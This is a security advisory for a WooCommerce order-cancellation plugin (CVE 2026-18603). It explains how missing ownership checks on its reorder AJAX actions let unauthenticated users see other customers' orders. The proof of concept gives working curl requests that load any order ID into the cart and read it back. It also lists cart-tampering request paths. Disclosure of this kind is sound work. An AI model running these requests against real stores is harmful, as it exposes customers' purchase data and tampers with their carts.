Cancel Order & Request Woocommerce < 1.3.4.34 – Unauthenticated Order Content Disclosure via Reorder AJAX Actions | CVE 2026-18603

Description

The plugin does not have authorization or ownership checks when adding the contents of a previous order to the cart, allowing unauthenticated users to disclose the contents of other customers' orders, as well as to clear and repopulate a logged in user's cart via a crafted link.

Proof of Concept

Prerequisites:

- WooCommerce active, with the plugin enabled at version 1.3.4.33 or earlier.
- The plugin's repeat-order button enabled for at least one order status.
- The ID of an order belonging to another customer. Order IDs are sequential and can be enumerated.

Steps. No authentication, no cookies and no nonce are required at any point.

1. Send the reorder request, supplying the victim's order ID:

curl -s -c cookies.txt "https://victim.example/wp-admin/admin-ajax.php?action=pi_reorder&order_id=<VICTIM_ORDER_ID>" -H "X-Requested-With: XMLHttpRequest"

The server responds:

{"heading":"Success","action":"success","message":"All products from the order added to the cart..."}

2. Read the cart back, reusing the session cookie the previous response established:

curl -s -b cookies.txt "https://victim.example/wp-json/wc/store/v1/cart"

Expected result: the cart contains the products and quantities of the victim's order, and its total matches that order's total, disclosing the contents of an order belonging to another customer to an unauthenticated requester.

The same applies to the other two actions:

GET /wp-admin/admin-ajax.php?action=pi_reorder_replace&order_id=<VICTIM_ORDER_ID>
GET /wp-admin/admin-ajax.php?action=pi_reorder_merge&order_id=<VICTIM_ORDER_ID>

pi_reorder_replace empties the requester's cart before adding the order's products, so a logged in customer who visits a crafted link has their own cart cleared and repopulated.